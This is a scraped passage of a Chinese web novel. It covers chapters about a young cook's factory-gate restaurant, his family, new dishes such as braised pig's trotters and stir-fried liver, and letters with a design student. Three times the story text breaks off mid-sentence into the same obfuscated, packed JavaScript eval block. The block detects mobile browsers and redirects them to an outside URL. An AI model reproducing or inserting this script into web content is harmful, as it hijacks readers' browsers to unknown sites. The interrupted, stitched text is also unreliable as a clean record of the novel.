那大哥立马眉开眼笑，唾沫横飞：“哎呦，不大不大，也就十三斤八两，上回我钓到一条青鱼，二十八斤，杀了取出来一颗青鱼石有娃娃拳头那么大……” 周砚已经走远了，深藏功与名。 这要是被老周同志知道，不得追三条街问人家窝子在哪。 回到饭店，赵嬢嬢正和周沫沫在玩丢沙包，周淼坐在边上看，脸上满是笑意。 瞧瞧，老周同志这不是笑得挺好的吗。 赵嬢嬢回头看着满身大汗的周砚，开口道：“锅里给你烧起热水的哈，你歇口气再去洗澡，要用热水。” 周砚不以为意道：“没得事，我习惯用井水，冲两下就行了。” “啪！”赵嬢嬢手里的沙包往桌上一拍，表情严肃道：“都要入冬了还洗冷水澡，以后老了得风湿有你受的！给劳资用热水洗，不要逼我抽你！” “你妈说的对！”老周同志立马站队。 “妈妈说得对！”周沫沫跟着站队。 “遵命……”周砚缩了缩脖子，不敢忤逆赵嬢嬢的权威。 锅里热水还是滚烫的，一瓢热水加进一桶井水，洗的周砚心里暖暖的。 上一辈子，可从来没有人会关心他洗冷水澡会不会得风湿。 有妈妈，真好。 “来，跟我下两盘象棋。”周砚洗完澡出来，就被老周同志拉去下象棋。 今天他挖出来的那堆东西里边，就有这副象棋。 老周同志多年前自己拿木头雕的棋子，木工活糙了点，但打磨的还算圆润。 两个臭棋篓，棋艺相当，菜鸡互啄，倒也杀的难解难分。 赵嬢嬢看了一会，抱着昏昏欲睡的周沫沫上楼睡觉去了。 …… 川美，宿舍。 夏瑶点着台灯，看着手里刚拿到的信，表情时而微笑，时而沉思，时而恍然。 周砚的回信，比她预想的晚了两天。 拿到信的时候，她都不知道自己的嘴角为什么会不自觉的上扬。 “夏瑶： 得书之喜，旷若复面……” 求月票~   (本章完) 第104章 瑶瑶，周砚给你表白了吗？（第二更 周砚的字，遒劲有力，字如其人。 洋洋洒洒三页，从奶奶家的柿子，讲到饭店里遇到的趣事，文字风趣而幽默，没有拽文嚼字，连贯而舒服，有种朋友娓娓道来的感觉。 最后一页聊的是她之前在信中简略提到的迷茫和困扰，没有空泛的安慰，而是把话题展开，讲了他对于设计师的理解，和他对未来的一些设想。 他的想法天马行空，大胆却又似乎有迹可循。 他说广告以后不止出现在招牌、报纸上，广告会出现在电视机、户外广告牌、列车，甚至是卫星。 所有想要卖的更好的商品，都会需要广告的推销，他们会出现在人们视线中的每一个地方。 多有意思啊！卫星也能打广告？他的脑子里是怎么想到这些的？ 他还说广告以后不止是用于推销产品，更是用来塑造品牌形象的，做成高端的品牌，就能获取超额的利润。 这些话，她曾从苏老师那里听过类似的，只是现在大部分工厂，对于品牌的塑造还没有什么认知。 周砚真的懂，甚至已经将其运用在跷脚牛肉的推广之中，就连苏老师也赞不绝口。 同学们后来在回学校的汽车上，还聊起了这件事，有些同学认为周砚这是市井小民的小聪明，值得学习，但没什么好推崇的。 夏瑶不认同他们的说法，还和他们争辩了几句。 今天这封信，足以证明周砚并非只有小聪明，他可太懂广告设计和品牌塑造了，甚至远比他们这些即将毕业的大学生懂。 夏瑶逐字逐句看着，认真琢磨这些文字中蕴含的信息，与她这几年学到的知识、老师的理念互相印证，那包围着她的迷雾在退散，前行的方向似乎在变得清晰。 周砚的看法太有前瞻性了，而且他是针对她的疑惑做的解答，就像是一束光给她指引方向。 既然广告那么重要，那她坚持做广告设计这个方向肯定是对的。 品牌塑造现在还是比较模糊的概念，如果她能够拿到先发的优势，或许能够抓住一些时代的机遇。 正如周砚所说的，电视机很贵，但正在快速普及，长虹电视机、熊猫电视机等产能正在不停的扩张。 一台电视的受众往往不止是一个家庭，电视广告已经开始出现。 夏瑶内心有些澎湃，感觉一个波澜壮阔的黄金时代正在她面前展开。 看到最后那一行小字，她的脸上露出了几分讶色，翻到下一页。 挂历裁剪成的画纸，在背后那面用炭画的画，折叠了几次，又在邮寄的路上几经波折，只能看出一个大概的轮廓。 小院、小姑娘、猫咪，还有一只大鹅。 夏瑶对着台灯认真看了许久，最终凭借着想象，把这幅画在脑海里补全了。 沫沫太可爱了！ 她甚至已经想象到她抓着一块炭，在纸上画画的场景。 一个三岁半的小姑娘，能用炭画出这样的画来，挺有天赋的。 夏瑶从笔筒里拿了一根铅笔，依着画上的轮廓，把画给补齐。 生机勃勃的乡村小院，在小姑娘的视角里，就连大鹅都显得那般威武，猫咪跟只小老虎一样。 夏瑶盯着看了一会，笑眯眯地把画夹在一本画册里，这样就算碳粉全部掉完，画也不会消失。 她把信又看了一遍，小心折好放回到信封里，拉开抽屉郑重地放在了最里边的位置。 两颗脑袋在床边上挂了挺久了，这会终于忍不住开口： “瑶瑶，周砚给你写的信？” “写的什么啊？表白了吗？” 夏瑶回头看了她们一眼，笑着道：“别瞎说，我们是纯洁的**友谊！我们聊的都是生活和学习，不掺杂任何男女之情。” “我不信一个人聊学习能那么开心地笑！”邓虹笑着道：“除非你把信拿来给我批判批判！” “我也不信！”朱玉玉跟着点头，“我们一起批判！” “那不行，那是对他的不尊重。”夏瑶立马给抽屉挂上锁，看着邓虹笑道：“我可从来没说要批判马星野给你写的情书。” “这倒也是。”邓虹点点头，想想又瞪眼道：“不对呀！我每次收到情书之后，可都是第一时间深情朗诵给你们听的！” “那是你主动朗诵的。”夏瑶笑着关了台灯，爬上自己的床。 “你下回让马星野别写那么肉麻，我听了起鸡皮疙瘩。”朱玉玉附议。 “你们不懂……” …… 周砚躺在八张长条凳拼成的单人床上，身上盖的是那床六斤的新被子，他懂了被关心爱护的感觉了。 他妈非把这床新被给他拿来盖，旧被子拿来当垫被。 在蜀道山的恐怖威慑下。 周砚只得屈服。 新被子是不一样啊！ 盖在身上软软的，暖暖的，好舒服！ 眼睛一闭，秒睡。 楼上，赵铁英和周淼辗转反侧，有点睡不着。 “睡不着？”周淼从身后搂住了赵铁英，轻声问道。 “这么多年都在自家睡，可能有点认床吧。”赵铁英往他怀里缩了缩，又忍不住笑：“这小子，倒是真舍得，八斤的棉被都敢买，咱们结婚的时候，弹的还是六斤的呢。” 周淼也跟着笑：“要知道这新棉被那么舒服，我早该给你打一床新的，周砚说得对，咱们一天在床上躺**个小时，就该让自己睡得舒舒服服的。 “周三水，我可警告你啊，别被你儿子奢侈的消费观给带歪了啊！一床被子二十多块钱，啥家庭能经常换啊？”赵铁英转过来，在黑暗中盯住了周淼，“这床被子，咱们至少睡十年，每年入冬拿去弹一弹就行了。” “要得。”周淼点头如捣蒜。 “明天有人找你杀牛没得？” “没得。” “那你晚点起，天亮了跟周砚去买肉、买菜，我就不去了，我带沫沫睡个好觉。”赵铁英笑着道，语气中透着轻松。 “你只管好好睡，牛杂我来洗，吃早饭我再喊你。”周淼点头。 “三水，你真好。”赵铁英伸手摸了摸他的脸，凑过来亲了一口。 “睡嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200222|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周淼搂住她，给他乐得，一口白牙在黑暗中都有些显眼。 …… “志强，你好厉害……” 孟安荷趴在林志强的身上，面色潮红，吐气如丝，连声音都带着几分微颤的尾音：“最近的跷脚牛肉没白吃~” 林志强轻抚着她的美背，自信的笑了笑：“不过是正常发挥而已，最近天天跟小周去跑步，恢复了几分当年的风采。” “挺好的，继续保持，回头我从蓉城给你带双回力的跑鞋，他们说穿着跑步舒服。”孟安荷笑着道，鼎力支持。 “好。”林志强点了根烟，吐出烟圈，随口问道：“最近瑶瑶有给你写信吗？” “昨天刚收到，说她临近毕业，对未来的就业选择有点迷茫。”孟安荷翻了个身，枕着他的手臂，拉过被子盖在身上，“我对广告设计也不是很了解，打算找人问问再给她回信。” “这孩子就是犟，高中水墨画就拿了奖，要是高考的时候选国美，以后有她妈给她铺路，不管是留校当老师还是当画家办展，那都是水到渠成的事情。 哪怕选建筑设计，毕业了跟着你，那也是设计院起步，一点苦不用吃，以她的天赋，将来成就必然不低。 结果最后瞒着所有人，自己偷偷报了川美的工艺美术系，学的还是装潢设计专业。”林志强笑着摇头：“不过，这点倒是跟你一模一样，当年你选建筑设计，不也把你爸气得够呛。” “人嘛，总得有点心气和追求。”孟安荷嘴角一扬，“我爸是水墨画、书法大师，我姐是水墨画天才，我要是还跟着学水墨画，连家里的两座山都翻不过去，那可太无趣了。” “瑶瑶这丫头，瞧着文静，但心气比我当年还高。” “年轻的时候有几分迷惘，那是再正常不过的事，只要有人给她点拨一下，找到方向，就能一飞冲天。” 林志强听完沉默的抽了几口烟，有点苦恼的叹了口气道：“你要这么说，我觉得周砚和她应该没什么机会。” “夏瑶是有主见的人，等她参加工作有阅历后，会知道自己应该选择什么样的人作为丈夫共度一生的。”孟安荷白了他一眼，笑道：“你可别乱点鸳鸯谱，要是被我姐和姐夫知道，第二天就坐火车来苏稽收拾你。” “别的都不怕，只要下次去杭州探亲别再带我去吃西湖醋鱼就行。” …… 第二天天刚蒙蒙亮，小周师傅带着老周师父就早早出门去买菜了。 两辆二八大杠，能装更多的货。 周砚负责挑肉、付钱，老周负责搬肉、装肉，配合得当。 周淼杀了二十多年的牛，牛肉好坏一眼就能看得出来。 周砚选的肉，都是顶好的。 今天他大爷买的牛是干不动活的老牛，杀完之后外行其实很难看出来，但周砚只是远远看了一眼，就转到他二伯那买吊龙去了，转都没转过去。 “你怎么看出来你大爷那头牛不行？”离开周村后，周淼好奇问道。 求月票！   (本章完) 第105章 感觉被资本做局了（2000月票加更！ 周砚笑着说道：“我远远瞧了一眼，大爷今天杀的这头牛，肉纤维太长，肉的色泽看起来不够红，说明这牛太老，而且没得啥活力，肉质吃起来会干柴，拿来生烫口感会比好的吊龙差点意思。” 周淼听完点了点头，不愧是他儿子，有眼力。 今天周砚买了八个猪头，比起昨天又增加了两个，章老三从其他刀儿匠那里给他多带了三个，不愧是他的核心供应商。 “周淼，你怎么跟着来买肉？今天不杀牛卖肉吗？”章老三一边帮忙把猪头装进背篼，一边看着周淼惊讶道。 周淼是有名的铁人，除了过年歇三天，杀牛基本全年无休。 周淼解释道：“我不自己杀牛卖肉了，现在在周砚店里帮忙，有人喊我杀牛再去。” “也对，你这娃娃硬是能干，你和你婆娘以后有福享咯。”章老三带着几分羡慕感慨道。 这段时间周砚从他这里拿的肉大幅增长，二刀肉有好多要好多，猪头从一个干到四个，今天还要了八个猪蹄，这生意怕是烫的忙不过来。 而且这只是从他一家拿的货，周砚现在还在徐老二那边**，估计拿的量跟他也差不多。 章老三的大儿子和周砚差不多大，天天在街上乱逛，要不就是去摸鱼抓黄鳝，倒是过的无忧无虑。 就是他这个老汉天天发愁怎么把他塞到厂头去上班。 瞧瞧人家周砚，都已经可以给他老汉安排工作了。 不行，回去还是要把这逆子打一顿！ 儿比儿，气死老汉。 鸡还是四只，目前凉拌鸡的需求应该就在四只左右，宁可有点缺口，周砚也不会贸然增加，要是卖不完的，可都是硬亏。 另外周砚还买了十二斤猪肝。 一份火爆猪肝用六两猪肝，这也就是二十份的量。 今天上新，先试试水。 买完菜回到饭店，赵嬢嬢也起床了，赵红和周立辉也刚到。 “不是让你多睡会，睡个好觉吗？”周淼看着赵铁英有些不解道。 “我也想睡，但是睡不戳啊，天天这个点起来干活的人，让我在床上躺着干瞪眼更折磨人。”赵铁英笑道，“不过比起之前，已经多睡了两个钟头了，睡得很舒服。你去杀鸡嘛，牛杂我和赵红来整，我们比你熟练的多。” “要得。”周淼拎起鸡出门放血去了。 “鸡血接起！中午烧个鸡血旺来干，巴适得很。”赵铁英拿了个大海碗跟出门，里边撒了一小把盐。 “那把鸡杂也弄出来嘛，中午炒个火爆鸡杂。”周砚跟着喊道。 四个大公鸡，鸡血、鸡杂收拾出来，都能整两盘菜。 在掌握了火爆猪肝之后，周砚越发感兴趣尝试一下其他食材的做法。 鸡杂在川菜中是有着一席之地的，他就非常喜欢吃黔江鸡杂，特别下饭。 当然，泡椒鸡杂、火爆鸡杂也是相当有味。 反正是自家人当工作餐吃，顶多炒老了缺乏点口感。 火爆鸡杂他看师父做过，现在回想起来还有些印象，切法、下菜顺序，大概火候都有点数，不至于翻车的太夸张。 老周同志是干活的一把好手，四只鸡杀的干干净净，顺便还把十六个猪蹄和八个猪头全处理了，给周砚省了不少功夫。 周砚现在有点明白，为什么大厨都想要一个优秀的墩子了。 太省事了！ 厨师能专心做菜，不用为食材的基本处理而烦恼，这是一件多么幸福的事情啊。 “爸，早上没你的活了，拿着鱼竿去河边坐着钓鱼吧，中午记得回来吃饭就行。”吃过早饭，周砚往老周同志手里塞了一张大团结，压着声音道：“拿去买鱼钩和鱼线，磨刀不误砍柴工，咱们该花的钱不能省，不然怎么钓得到大鱼。” “要得。”老周同志立马把钱揣兜里，又去找赵嬢嬢请示之后，就兴高采烈的提着个小桶，拿着小锄头出门去了。 男人的快乐，就是这么简单。 优秀员工，值得进行深度投资。 “妈，你不管我老汉钓鱼啊？”周砚笑问道。 “你老汉干活的时候一点不偷懒，干完就该他耍了撒。”赵嬢嬢笑着道：“钓鱼又不花钱，让他去耍嘛。” “妈，你真是一个不扫兴的老婆。”周砚给她竖了个大拇指。 钓鱼也不是完全不花钱，只是有儿子默默付钱而已。 中午工厂下班前，周砚切了半个猪蹄给周沫沫，搬上她的专用小板凳让她坐在饭店门口吃。 然后在她身后立了牌牌，写着：卤猪蹄上新！惊爆价1.2元一个！一个重约一斤二两。 然后拉了一个小箭头指向周沫沫：她吃的是半个！ 最后标注：今日供应总计15个，已预定8个。 工人们一看这牌牌，立马就炸了。 “卤猪蹄一块二一个！这比昨天赵嬢嬢说的便宜了三毛啊！” “半个就有这么大，吃的肯定过瘾！吴姐，咱俩合伙买一个吧？” “刚开卖就剩下七个了啊？” “赵嬢嬢，我要一个猪蹄！” 数量有限，先到先得，立马有人果断下单。 一块二的价格，击穿了大部分人的心理预期。 本来一块五一个就想吃了，现在只需一块二一个，这价格让人有种买到就是赚到三毛钱的错觉。 这卤猪蹄一斤二两重啊！ 这个价钱，属实良心啊！ 再看看专心啃着卤猪蹄，吃相那叫一个香的周沫沫。 七个卤猪蹄，几乎是被秒杀的。 周沫沫的猪蹄还没啃几口呢，她代言的卤猪蹄已经卖完了。 这速度，把赵铁英震惊到了。 什么啊？ 七个猪蹄，一分钟就抢完了？ 周砚走出来，在板子上写上：卤猪蹄今日已估清。 晚来一步的客人，看着蒙头啃猪蹄的周沫沫，和那板子上写的字，感觉天都塌了。 发生了什么？ 他们又错过了什么？ 才下班怎么就卖空了啊？！ 感觉被资本做局了。 “赵嬢嬢，是不是还有半个啊？”有个女工指着周沫沫，向赵铁英小声问道。 赵嬢嬢看向了还没进厨房的周砚，确实还有半个。 “不好意思，我们提供帮忙切分的服务，但不卖半只。”周砚面带微笑道。 半只猪蹄是最难卖的，因为你永远不可能切的完美对半，客人总会有自己这半只小一点的错觉，从而可能引发与饭店的**。 给客人分就不同了。 切好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200223|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的卤猪蹄上桌，谁吃哪半边，那属于人民内部矛盾。 “好吧……”女工有点失望。 周砚微笑道：“如果你想吃的话，可以提前预约明天的，我会参考预约的猪蹄数量决定卤的数量，优先供应预约的客人。” 女工眼睛一亮：“好啊！那我预约一个明天中午的！” “要得，我给你记着。”赵铁英应道。 客人们开始点菜，周砚转进厨房忙碌起来。 王薇今天来的挺早，早上上班都惦记着她预约的那只卤猪蹄呢。 瞧见门口立的牌牌有些惊讶，卤猪蹄竟然只要一块二一个？ 感觉自己还没吃就先赚了三毛钱。 “沫沫，今天的小辫子好好看。”王薇和周沫沫打了个招呼。 周沫沫抬起头，冲着王薇露出了一个油腻腻的笑容：“姐姐今天也很乖。” 小脸都吃花了，油光光的，笑起来还是好可爱！ 王薇进店，看着赵铁英微笑道：“赵嬢嬢，我昨天预约了卤猪蹄，然后再要一小碗米饭和一碟酸萝卜。” “要得，乖乖，你先坐嘛，我马上给你安排。”赵铁英笑着应道。 王薇坐下，一个颜色红亮的卤猪蹄很快就从厨房端了出来，放在她的面前，还冒着热气呢。 然后是一碗米饭，一碟酸萝卜。 这个吃法，相当有品味。 旁边几桌客人，立马投来了羡慕的目光！ 十五个幸运儿之一！ 美味的卤猪蹄竟然落入了她的手中。 果然，有魄力的女人先享用卤猪蹄！ 王薇没有理会他人的目光，因为她的目光已经完全被面前的猪蹄所吸引。 这猪蹄……好大！ 红亮的色泽，冒着热气，卤香和肉香交织扑面而来，应该是出锅的时候淋了一勺汤汁，油亮油亮的，看起来可太诱人了。 盘子中间一汪卤汁，泛着油光，拿来拌饭应该很香！ 她拿起筷子，准备把卤猪蹄分开，然后夹着吃，这样吃起来应该会优雅一点。 毕竟……这是工厂门口的饭店，旁边坐着的都是自己的同事、领导，她作为会计，又是女孩子，还是需要注意一点形象的。 可当筷子碰到猪蹄，那颤巍巍的触感，让她的动作顿时停住。 等等！ 我在做什么？！ 竟然要用筷子夹着吃一只完整的、属于我一个人的卤猪蹄？ 这样的吃法，还有啃卤猪蹄的感觉妈？ 连灵魂都没有了，要优雅有什么用！ 这可是花了我近一天工资的卤猪蹄啊！ 旁边的客人也是纷纷睁大了眼睛，卤猪蹄不抓着啃怎么会过瘾啊！恨不得上去帮她啃一口。 王薇放下筷子，然后庄重的用两只手捏住卤猪蹄的两端拿起，凑上去咬了一大口。 肉皮一抿就脱骨，骨肉间的筋咬起来软软糯糯的，卤香浸透，这一口咬下去，灵魂都跟着颤了颤。 太香！太满足了！ 猪蹄微烫，上桌前特意加热过。 吃起来一点都不油腻！ 热卤猪蹄！ 谁懂啊！—— PS：2000月票加更奉上！继续求月票！继续加更！ (本章完) 第106章 厂门口的小饭店，我可见过太多了 一个猪蹄啃完，王薇的手边多了一小堆嗦的干干净净的骨头，连筋都不剩一点。 沉浸式啃完一个大猪蹄。 实在是太满足了！ 旁边盯着瞧的客人们也是吞了吞口水，心满意足的收回了目光。 对嘛！卤猪蹄就是要这么啃才香。 就是好馋啊，看完更想吃了…… 天老爷！我造了什么孽啊。 o(╥﹏╥)o~~ 王薇放下最后一根骨头，已经有八分饱，手油光光的，还有点粘，嘴角也沾了点油渍。 不过比起周沫沫，她的吃相还是算比较优雅了，至少没有沾到鼻子上。 没办法，毕竟不是可爱的宝宝，多少还是有点包袱的。 “来，乖乖，这边洗手，洗了再慢慢吃。”赵嬢嬢笑着招呼道，她已经贴心地在门口放了一桶井水和一个瓢，还放了一小袋洗衣粉。 手上的油加点洗衣粉，一下子就冲干净了。 “赵嬢嬢，你想的真周到。”王薇看着帮她倒水的赵嬢嬢说道。 “让你们吃的舒心，这是应该的。”赵嬢嬢笑着道。 王薇坐回桌上，端起盘子把卤汁浇在饭上，搅拌搅拌，扒拉一口。 丰富的油脂与卤香交织，渗入米饭之中，奏响了美味的乐章。 太香了！ 再来一块酸萝卜，酸辣脆爽，相当解腻。 一会功夫，一碗卤汁浇饭就下了肚，最后一片酸萝卜喂到嘴里，王薇起身结账。 这顿饭吃的，实在舒心。 不过，下一次吃卤猪蹄，应该要等半个月后了。 女孩子嘛，还是需要保持身材的。 最近经常去大爷家蹭晚饭，她感觉自己肚子上明显有点赘肉了。 虽然是养秋膘的季节，但对于她这样的美少女来说，这可不太妙啊！ 今天新上的火爆猪肝，以0.8元一份的价格，成功吸引了客人们的注意。 八毛钱一份的火爆猪肝，属实不算便宜。 之前食堂还卖小炒的时候，是三毛五一份。 就是那味道吧，实在有点糟糕。 厚切的猪肝，炒的太过火了，嚼起来满满的颗粒感，回味还有点苦。 厨师发挥的极其不稳定，偶偶也能吃到一两回口感还行的。 当然，肖师傅的火爆系列做得好，纺织厂的老员工都是知道的。 只是后来肖师傅没掌勺了，大家也就吃不上了。 但周砚是肖师傅的徒弟，火爆猪肝做的怎么样，大家还是有些期待的。 “火爆猪肝啊！周砚，你可算是上这道菜了！” 赵东和宋阳、朱哲三人组进店刚坐下，瞧见菜单上新增的火爆猪肝，立马又蹭的站了起来，眼睛都在放光。 周砚听到动静，笑着从厨房探出个脑袋：“赵主任，要不要来一份？” “要！必须要！”赵东丝毫不带犹豫。 他馋这一口可太久了。 别的菜，自己在家捣鼓捣鼓，也能做出七八分味道来。 但猪肝不一样。 处理不好，会有股苦涩腥臭的味道。 火候一过，又沙又硬。 火候不够，全家抢厕所。 和火爆腰花、火爆脆肠一样，这菜对厨师的火候要求极高。 肖师傅掌勺的时候，赵东一个星期至少吃三回火爆猪肝或者火爆腰花，好的就是这一口。 之前追着周砚问好几回了，今天可算是上菜单了。 八毛钱一份贵不贵？ 好吃就不贵！ 苏稽镇上，想找个能把火爆猪肝炒的好的厨师可太难了。 国营饭店的火爆猪肝是六毛钱一份，厨师长亲自掌勺的时候，味道和火候还行，比起肖师傅还是就差点。 周砚是肖师傅的徒弟，从他之前做的那些菜来看，赵东还是比较看好他的。 “这菜对厨师的火候要求极高，周砚能炒好吗？”宋阳小声道。周砚毕竟年轻，这菜拖了那么久才上，多半不太自信。 “双椒碎花牛肉对火候要求够高吧？你瞧人家周砚炒的多好。”赵东笑着道：“周砚的刀工、火候和调味都很厉害，这是祖师爷追着喂饭呢。” “二十岁做出来的菜就能让厂长吃完赞不绝口，这做菜的天赋确实高。”朱哲跟着点头，还带着几分回味：“他卤肉卤的太好了，猪头肉可真是下酒好菜！” 宋阳也来了兴致：“要不今晚再整点？” “卧日！你们别盯着我看啊，上次喝完一瓶洋河还开了我一瓶五粮液，我家里没得好酒了哈！”赵东目光一转，落在了朱哲身上：“老朱，你上回不是说你老汉从乡下给你打了五斤土酒香得很吗？今晚我和老宋买肉，你出酒？” “整嘛。”朱哲笑着点头，“多整二两五花肉，喊我老汉一起喝，他酒量比我还要好。” “好说！”赵东和宋阳齐齐点头。 朱哲他老汉是退休老干部，现在天天在家种花种菜，没事就骑着自行车去各个乡镇上转悠，家里条件不错。 宋阳爸妈是厂里退休的老员工，他爸还是老财务，家里条件也不差。 他们能混在一起吃饭，除了臭味相投，都嘴馋，还得吃得起。 他们点的两个菜很快就上桌了，一道双椒碎花牛肉，一道火爆猪肝，都是下饭好菜！ 两道菜一上桌，三人的目光都被火爆猪肝吸引。 双椒碎花牛肉已然成了牛夫人。 火爆猪肝色泽红亮，裹着一层薄薄的酱汁，泛着琥珀般的油光，犹如红玛瑙片般堆叠。 青椒、干辣椒段、葱白、蒜片交织出艳丽色泽，颗颗花椒点缀其间，香气已经随着热气扑鼻而来。 猪肝一定要切的薄厚均匀，太薄会缺失口感，太厚又不入味，容易炒过火都不熟，周砚的刀工毋庸置疑。 三人齐齐吞了吞口水，看着可真不错！ 一同上桌的，还有三碗米饭。 “尝尝看。”赵东抓起筷子，先夹了一块猪肝喂到嘴里。 刚出锅的猪肝，还带着炽热的锅气，麻辣鲜香在齿间炸裂，大火宽油快速炸出的微焦表壳之下，咬开是极致的鲜嫩，反转的绝妙口感，令人灵魂微颤。 赵东恍惚像是看到了猪肝在烈火油烹中翻腾，灼热袭人，香气逼人。 “好吃！口感绝了！”赵东满脸赞叹的扒拉了一口米饭，这绝对是他吃过最好吃的火爆猪肝，比肖师傅做的还要好！ 口感滑嫩，吃不到丝毫的颗粒感。 麻辣咸香的滋味靠着那层薄薄的芡汁挂住，搭配上大葱的香气，味道也是一绝。 宋阳和朱哲闻言哪里还忍得住，也是连忙尝了一块。 “嗯！好鲜嫩！味道真不错！” “何止是不错，相当好吃啊！不比回锅肉差！而且相当下饭。” 俩人吃完赞不绝口，惊为天人。 三人立马开启炫饭模式。 一口猪肝，就能连着扒拉两口米饭，吃的那叫一个尽兴。 火爆猪肝八毛钱，但分量不小，三个人，加一盘双椒碎花牛肉，一人两碗饭，刚好合适。 赵东他们这桌狂炫饭，也是引来了其他客人的注意。 本来还有点迟疑，不知这新菜如何，八毛钱一份是否值得一试。 听到赵东他们三位脱口而出的夸赞，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200224|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点迟疑立马消失了。 一些口味偏重，本就喜欢吃爆火炒菜的客人，纷纷开始点单。 火爆猪肝迎来了点单的小高峰。 当然，这菜挑人，不像蒜苗回锅肉那样人见人爱。 哪怕别人夸赞的再美味，喜欢的人甘之如饴，不喜欢的人你说的天花乱坠他们也绝对不会尝试。 不过，只要是原本就喜欢的客人，基本都认定了这是他们吃过最美味的火爆猪肝。 “周砚，你的火爆猪肝炒的太好了，是我吃过最好的。”赵东吃完，还不忘来厨房门口夸赞周砚两句。 今天这份火爆猪肝，真是炒到他的心坎上了。 “要得，赵主任下回再来吃嘛。”周砚笑着应道。 他就喜欢这种长嘴的客人，几句真实评价，就能省却他许多推广新菜的烦恼。 毕竟火爆猪肝不可能炒了给客人们试吃，这菜得趁热，但凡在桌上多放会，口感都会变差一些。 今天上新两道菜，卤猪蹄和火爆猪肝，都得到了客人们的一致好评。 火爆猪肝卖了十一份，还剩下九份，晚上卖完应该不成问题。 卤猪蹄就更别说了，刚推出就被秒光。 一块二一个的价格，属于心动价。 今天中午有十二位客人预定卤猪蹄，已经在赵嬢嬢那里登记。 “卤猪蹄卖的太好了，还有好多工人想吃呢，以后咱们可以多拿一些，多卖一些。”赵嬢嬢拿着她的小本子，上边画了两个正，另外还有两笔，笑容完全藏不住。 “卤猪蹄属于低频消费，刚推出来有新鲜感，又有沫沫吃播带货，而且价格低于他们的预期，我们的供应量不足，所以出现了爆单的情况，这种情况一般是不可持续的。”周砚笑着道：“这个星期我们先保持预定制度，先有个基本的数，等每天销售的量稳定下来了，就不用再弄预定了。” 赵嬢嬢认真想了一会，还是没想明白周砚说的吃播、爆单是什么意思，索性也就不问了，反正周砚脑子灵活，店里的事情他说了算。 …… “老黄，你还有什么花样要拿出来啊？嘉州我一年来十八回，都成我第二故乡了，苏稽我也来多少回了，有啥好吃的我这个美食杂志的副主编不比你清楚？”一个身材微胖的中年男人骑着车与黄琛并行，圆脸上挂着几分得意的笑： “你看牛华的麻辣烫，西坝的豆腐宴，罗城的牛肉，木城的甜皮鸭，拿出来说都是相当响亮的名号，我们《四川烹饪》杂志上都刊登过，你说你这次能带我吃点啥子新名堂。” 坐在后座上的小编别过脸去笑，他们这位主编和黄副镇长是二十多年的兄弟，关系亲密无间，每次见面都爱互损几句。 何主编是老饕，一年三百天在外出差，这两年几乎把川内跑遍了，足迹遍布各种乡镇，只要那里有好吃的，不管多远多偏僻都要亲自去尝尝。 发现好的饭店和新奇的美食，还会亲自写文章刊登宣传。 “老何你可别得意，我最近新发现了一家饭店，保管让你吃完惊为天人。”黄琛车筐里装着一瓶桥头打的散酒，气定神闲，一副胸有成竹的样子。 “嘁，我上回来，你也是这么说的。”何志远撇撇嘴。 黄琛脸上有点挂不住了，轻咳了两声道：“上次不一样啊，国营饭店嘛，向来都是无功无过的，这次带你去吃的是正经个体饭店。” “瞧，到了！” 何志远抬头顺着黄琛手指的方向看去，笑着道：“厂门口的小饭店，我可见过太多了，这家看着也普普通通啊。” 第一更，求月票~！   (本章完) 第107章 这婆娘太歪了！（第二更） 第107章这婆娘太歪了！（第二更!） 厂门口第一个铺子，门口砌了个灶不知道煮的什么，门前支了张小方桌，看样子还卖卤肉。 东西做的有点杂。 何志远去过许多地方，足迹遍布四川。 像这样开在大工厂门口的饭店，他见过太多，很难提起兴致。 一般这种饭店的老板，和厂领导多少沾点裙带关系，才能拿下那么好的位置。 饭菜的味道嘛，基本一言难尽。 这种饭店，他以往连门都不会跨进去。 不过今天是黄琛带他来的，他先收着点。 好兄弟当宝贝一样介绍给你的饭店，怎么也得先尝了再损啊，不然显得不够专业。 他们来得巧，刚好碰见工厂下班，纺织厂工人的自行车流从厂大门涌了出来，三人连忙往边上避让。 等他们推着车来到饭店门口，门口的卤肉摊已经围满了工人，还有不少把自行车停在门口，往店里走去的客人。 “生意这么好？”何志远见此，倒是有几分意外了，把自行车停好，把黑框眼镜往上推了推，也往那围着的卤肉摊前凑。 “何主编……”小李犹豫着要不要跟，被黄琛拉住，笑着道：“别管他，他就爱看人家怎么做菜，咱们先去占个位置，晚了可就要等桌了。” “要得。”小李爽快点头，跟着黄琛进店去了。 “老板，要一个猪耳朵！” “三两猪头肉！” “要个猪拱嘴，再要三两猪头肉！” 